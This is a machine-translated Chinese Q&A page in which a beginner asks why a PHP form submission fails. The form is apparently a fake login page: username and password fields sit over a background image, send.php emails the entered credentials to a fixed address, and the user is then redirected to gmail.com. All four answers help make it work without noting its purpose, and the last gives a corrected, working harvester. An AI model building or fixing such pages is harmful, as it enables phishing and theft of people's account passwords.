如何在form_submit上发送电子邮件?

时间:2016-07-28 11:29:59

标签: php html-helper

我是初学者,我正在为自己分配任务。我构建了一个HTML页面,其中添加了一个表单。它看起来像这样:

<body background="images/backgr.jpg" bgProperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;">

<form action="send.php" method="post">
<input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0">
<input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1">
<input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22>     </a></div>
</form>

php文件'send.php':

<?php 
if(isset($_POST['submit'])){
$to = "salut@bagaiacimailu.com"; // <mail-ul nostru
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$message = $username . " " . $password . ";
mail($to,$subject,$message,$headers);
}
header (Location: "www.gmail.com");
?>

在我的HTML上按下提交按钮时出现错误。

4 个答案:

答案 0 :(得分:0)

$header = "From: noreply@yourdomain.com";

在isset块中添加它。如果邮件功能有效,则只使用标题。

喜欢这个 -

  if(mail('','','','')){
//redirect line here
}else{
//error statement here
}

检查你的变量$ user_name和$ username。这将只发送邮件中的$ password值,你会不知道用户名在哪里!我很难学会这一点,所以要小心用户名。建议使用_

这就是我的意思

<?php 
if(isset($_POST['submit'])){
$to = "salut@bagaiacimailu.com"; // this id will get the mail
$user_name = $_POST['username']; 
$password = $_POST['password'];
$subject = "You got mail!";  
$header = "From: noreply@yourdomainname.com";//this is where the mail. comes from. you were missing this parameter. it was not created
$message = $user_name . " " . $password . ";  
if(mail($to,$subject,$message,$headers)){  //this is true if mail is sent other wise it will go into else block
header (Location: "www.gmail.com");
}else{
echo 'Mail was not sent...'; //or redirect to some other page if you like
}
}

?>

希望这有帮助!如果你有别的,请告诉我。

答案 1 :(得分:0)

下载并阅读有关PHPMailer的信息,并使用以下代码:

                            <?php
                        if (isset ( $_POST ['submit'] )) {
                            require 'PHPMailer/PHPMailerAutoload.php';

                            $mail = new PHPMailer ();

                            $mail->isSMTP (); // Set mailer to use SMTP
                            $mail->Host = 'smtp.gmail.com'; // Specify main and backup SMTP servers
                            $mail->SMTPAuth = true; // Enable SMTP authentication
                            $mail->Username = 'youremail@xyz.com'; // SMTP username
                            $mail->Password = 'password'; // SMTP password
                            $mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted
                            $mail->Port = 587; // TCP port to connect to

                            $mail->setFrom ( 'Fromemailaddress', 'xyz' );
                            $mail->addReplyTo ( 'toemailaddress', 'xyz' );
                            $mail->addAddress ( 'Fromemailaddress' ); // Add a recipient
                                                                      // $mail->addCC('cc@example.com');
                                                                      // $mail->addBCC('bcc@example.com');

                            $mail->isHTML ( true ); // Set email format to HTML

                            $bodyContent = '<h1>hello </h1>';
                            $bodyContent .= '<p>This is my 1st email through php</p>';

                            $mail->Subject = 'Email from Localhost by CodexWorld';
                            $mail->Body = $bodyContent;

                            if (! $mail->send ()) {
                                echo 'Message could not be sent.';
                                echo 'Mailer Error: ' . $mail->ErrorInfo;
                            } else {
                                echo 'Message has been sent';
                            }
                        }

                        ?>
        <form action="#" method="post">
            <input name="username" type="text"> <input name="password"
                type="password"> <input type="submit" name="submit" id="submit" />
        </form>

答案 2 :(得分:0)

对于发送邮件,请使用PHPMailer(https://github.com/PHPMailer/PHPMailer

使用此代码:

<?php   
    include("class.phpmailer.php");
    include("class.pop3.php");
    include("class.smtp.php");

    $messaggio_pre = new PHPmailer();
    $messaggio_pre->IsSMTP(); // attiva l'invio tramiteSMTP
    $messaggio_pre->Host = "localhost"; // indirizzo smtp
    $messaggio_pre->IsSMTP();
    $messaggio_pre->SMTPAuth = true;
    $messaggio_pre->IsHTML(true);
    $messaggio_pre->Host='YourHost'; //compile
    $messaggio_pre->Username = 'from.this@mail.com'; //compile
    $messaggio_pre->Password = 'password'; //compile
    $messaggio_pre->From='from.this@mail.com'; //compile
    $messaggio_pre->FromName='FromName'; //compile
    $messaggio_pre->AddAddress(send.at.this@address.com); //compile
    $messaggio_pre->Subject='YourSubject'; //compile
    $messaggio_pre->Body.='Text text!'; //compile
    if(!$messaggio_pre->Send()){
        echo $messaggio_pre->ErrorInfo;                  
    }               
    $messaggio_pre->SmtpClose();                
    unset($messaggio_pre);    
?>

显然你必须包含3个文件。列表:   - class.phpmailer.php   - class.pop3.php   - class.smtp.php

答案 3 :(得分:-1)

<?php 
if(isset($_POST['submit'])){
$to = "salut@bagaiacimailu.com"; // <mail-ul nostru
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$message = $username . " " . $password;
mail($to,$subject,$message);
}
header ("Location: https://www.gmail.com");
?>